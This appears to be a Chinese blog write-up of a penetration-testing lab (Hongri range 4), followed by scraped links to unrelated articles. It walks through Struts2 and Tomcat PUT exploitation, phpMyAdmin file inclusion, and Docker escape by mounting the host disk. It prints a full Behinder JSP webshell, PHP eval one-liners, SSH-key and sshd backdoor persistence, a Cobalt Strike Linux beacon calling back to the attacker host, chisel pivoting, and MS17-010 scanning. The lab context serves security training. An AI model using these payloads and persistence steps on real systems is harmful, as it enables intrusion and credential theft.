红日靶场4-wp
红日靶场4
环境搭建
注:130网段为模拟外网网段,111网段为内网网段
机器 | 用户 | 密码 | 网卡 |
---|---|---|---|
kali | root | / | 192.168.130.19 |
web(ubuntu) | ubuntu | ubuntu | 192.168.130.29 192.168.183.128(域) |
DC(win2012) | administrator | Test2008/zxcvbnm123/ | 192.168.183.130 |
域成员(win7) | douser | Dotest123 | 192.168.183.129 |
sudo docker start ec 17 09 bb da 3d ab ad
web打点
信息收集
扫描192.168.130.0
这个网段之后,对发现的29
进行进行一步服务扫描,他在2001
端口存在一个文件上传,标题中含有strut2
.在2002
上存在Tomcat
,2003
上则是PHPmyadmin
️漏洞利用
Struts2
利用检查工具扫描,证实存在漏洞
然后上传小马
访问小马,这里上传地址,我填的和当前小马一样的位置/usr/src/src/main/webapp
.内容则为哥斯拉的
哥斯拉连接
Tomcat
访问2002,这里给出了Tomcat的版本,去网上搜索可以得知这个版本存在
burpsuite抓包进行修改,首先修改方法为PUT,后面接上文件名,下面则为冰蝎。放行后正常访问小马
PUT /bk.jsp/ HTTP/1.1
Host: 192.168.130.29:2002
Accept: */*
Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 533
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
冰蝎连接上,发现直接就是root了
PHPmyadmin
可以发现是未授权访问
搜索这个版本的发现存在文件包含http://192.168.130.29:2003/index.php?target=db_sql.php?/../../../../../../../../../etc/passwd验证也确实存在
写入PHP探针,并查看session值
SELECT '<?=phpinfo()?>';
利用session可以包含成功
http://192.168.130.29:2003/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_30a8c757f20ff84e5f9ab9211089105a
但是后面写入一句话之后就是没有连接上
CREATE TABLE bktest(code VARCHAR(100));
INSERT INTO bktest(code) VALUES("<?php @eval($_POST[bk]); ?>")
尝试全局日志写入shell,但后面发现当前用户权限太低根本不行
SHOW GLOBAL VARIABLES LIKE '%secure%'
SHOW VARIABLES LIKE 'general%';
SET GLOBAL general_log='on'
想导出也发现方法没有开启
select @@secure_file_priv
//select '<?php @eval($_POST[bk]) ?>' into outfile '/var/www/html/bk.php'
docker逃逸
由于上来就是root,所以要查看了一下所有文件,果不其然发现了dockerfile,说明此时为docker虚拟环境。
ls -al /
其他检测是否为docker环境的方法还有这个环境检测命令,cgroup可以理解为用户和组的关系
cat /proc/1/cgroup
#组和子任务多的时候可以自己加入检索和判断
cat /proc/1/cgroup | grep -qi docker && echo "IS Docker" || echo "Not Docker"
那如何检测是不是特权模式启动的docker呢,可以执行如下:因为如果是以特权模式启动的话,capeff对应的掩码值应该为0000003fffffffff
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
列出宿主机的磁盘目录
fdisk -l
但是Struts2得到的shell执行之后返回空,所以这里用的是Tomcat拿到的shell
在本地创建一个文件夹,然后将/dev/sda1
挂载到这个文件夹上,就可以以物理机的root访问,这里就相当于宿主机的根目录
mkdir /bk
mount /dev/sda1 /bk
cd /bk
ls
这里首先在root目录下创建.ssh目录来更改公钥文件,将提前在kali本地生成的凭据上传并改名为 authorized_keys
之后就可以ssh登录,但是这里要注意,应该是Ubuntu考虑密码安全性的原因,在生成公私钥时不要为空密码,复杂度也应该尽量大一些。
cd /bk/root/.ssh
cp bk.pub authorized_keys
//在kali生成的公私钥
ssh-keygen -f bk
ssh root@192.168.130.29 -i bk
权限维持
useradd test1 -g 0 -s /bin/bash
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
为了接下来更好的进入内网操作,这里就选择了转战cs,没错cs也是可以上线Linux的。这里使用了插件,放在cs的目录下执行生成payload然后开启http服务供下载
./genCrossC2.Linux 192.168.130.19 443 .cobaltstrike.beacon_keys null Linux x64 /root/tmp/bktest
下载运行之后上线cs
内网渗透
这边校园网断了我又重新上了一遍,把docker也带上线了。顺带汉化了一下热乎的cs。这边查看网络配置发现了一个网段
但是突然想起那些其他的插件都不能在Linux上面用,在Linux探测主机存活都挺麻烦,就自己写了个简单的脚本传了上去。
#!/bin/bash
NET=192.168.183.
IP=1
while [ $IP -lt 255 ]
do
let IP++
if `ping -c2 -i0.2 -w2 $NET$IP &> /dev/null`
then echo -e "$NET$IP is up"
else echo -e "$NET$IP is down"
fi
done
发现了128.129.130存活,但是接下来继续寻找脆弱资产一点都不方便
但头铁想试一试,传了nmap上去。扫到129为win7,当前域为demo.com,而且开放了445,可能有永恒之蓝
130上面也开放了445,但是接下来漏洞利用就不好搞了,不尝试了直接转战msf
尝试让msf强制走cs的代理
这边vps也开放了端口但是不行,后知后觉目标机器不出网!
老老实实上传了一个msf之后,就是添加路由入段,然后扫了一下win7和DC都有永恒之蓝,但打了很多很多次都不行
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.
168.183.126/24
set threads 100
run
msf的代理时不时就断不是很稳定,于是就尝试用chisel做转发
./chisel_1.7.7_linux_amd64 client 192.168.130.29:9999 socks
./chisel_1.7.7_linux_amd64 server -p 9999 --socks5
过一会很快就拿到session了
上来先load kiwi拿一下凭证
但是这里管理员的密码拿不到,拿去解密也解不出来,用run post/windows/manage/enable_rdp打开远程桌面端口之后登不上去。最最关键的是shell切不进去,真的搞
当前的用户也无权登入,没办法了就到这里了
红日靶场4-wp的更多相关文章
- Vulnhub靶场DC-1 WP
前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...
- Vulnhub 靶场 Os-hackNos WP
About Os-hackNos 描述 Difficulty : Easy to Intermediate Flag : 2 Flag first user And second root Learn ...
- Vulnhub 靶场 Dijnn WP
About djinn: 1 描述 难度级别:中等 Flag:user.txt和root.txt 说明:该计算机是VirtualBox以及VMWare兼容的.DHCP将自动分配IP.您将在登录屏幕上看 ...
- Vulnhub靶场 DC-2 WP
DC-2简介 描述 与DC-1一样,DC-2是另一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验. 与原始DC-1一样,它在设计时就考虑了初学者. 必须具备Linux技能并熟悉Linux命 ...
- 【Penetration】红日靶场(一)
nmap探查存活主机 nmap -sP 10.10.2.0/24 图片: https://uploader.shimo.im/f/cfuQ653BEvyA42FR.png!thumbnail?acce ...
- Vulnhub靶场渗透练习(三) bulldog
拿到靶场后先对ip进行扫描 获取ip 和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
随机推荐
- 每日一题:如何判断是否是数组,一个既简单又复杂的问题。(不要再用Object.prototype.toString.call、instance of判断了!!!)
1.不要使用Object.prototype.toString.call() 正常情况下: const arr = [1,2,3,4,5] const obj = {} console.log(Obj ...
- 常用设计模式(Java)
目录 设计模式引入 1. 什么是设计模式 2. 学习设计模式的意义 3. 设计模式的基本要素 4. OOP七大原则 1.单例模式 1. 饿汉式单例 2. 懒汉式单例 3. 内部类实现单例 4. 反射会 ...
- AT 下分记录
7.30 AGC063 \(+30=1620\) B 做法假 WA 了三次,为啥总是吃了罚时才能发现问题啊 心态还是需要解决的问题.过完 B 啥都想不出来又自闭了
- Debian12安装.NET7 SDK
Debian,作为最受欢迎的 Linux 发行版之一,于 2023 年 6 月 10 日正式发布了其最新版本 Debian 12,代号"Bookworm".Debian 12 带来 ...
- .Net析构函数再论(CLR源码级的剖析)
前言 碰到一些问题,发觉依旧没有全面了解完全析构函数.本篇继续看下析构函数的一些引申知识. 概述 析构函数目前发现的总共有三个标记,这里分别一一介绍下.先上一段代码: internal class P ...
- Java并发编程和多线程的区别
并发编程: 并发编程是一种编程范式,它关注的是编写能够正确和高效处理多个并发任务的程序.并发编程不仅包括多线程,还包括了处理多个独立任务的各种技术和模式,如进程.协程.分布式编程等.并发编程的目标是实 ...
- es6(1)
1.var let const var---变量,重复定义不报错,没有块级作用域,不能限制修改 if(12>5){ var a=12; } alert(a); //弹出12 let---变量,重 ...
- Python 利用pymysql和openpyxl操作MySQL数据库并插入Excel数据
1. 需求分析 本文将介绍如何使用Python连接MySQL数据库,并从Excel文件中读取数据,将其插入到MySQL数据库中. 2. 环境准备 在开始本文之前,请确保您已经安装好了以下环境: Pyt ...
- 深入了解Rabbit加密技术:原理、实现与应用
一.引言 在信息时代,数据安全愈发受到重视,加密技术作为保障信息安全的核心手段,得到了广泛的研究与应用.Rabbit加密技术作为一种新型加密方法,具有较高的安全性和便捷性.本文将对Rabbit加密技术 ...
- 神经网络入门篇:详解随机初始化(Random+Initialization)
当训练神经网络时,权重随机初始化是很重要的.对于逻辑回归,把权重初始化为0当然也是可以的.但是对于一个神经网络,如果把权重或者参数都初始化为0,那么梯度下降将不会起作用. 来看看这是为什么. 有两个输 ...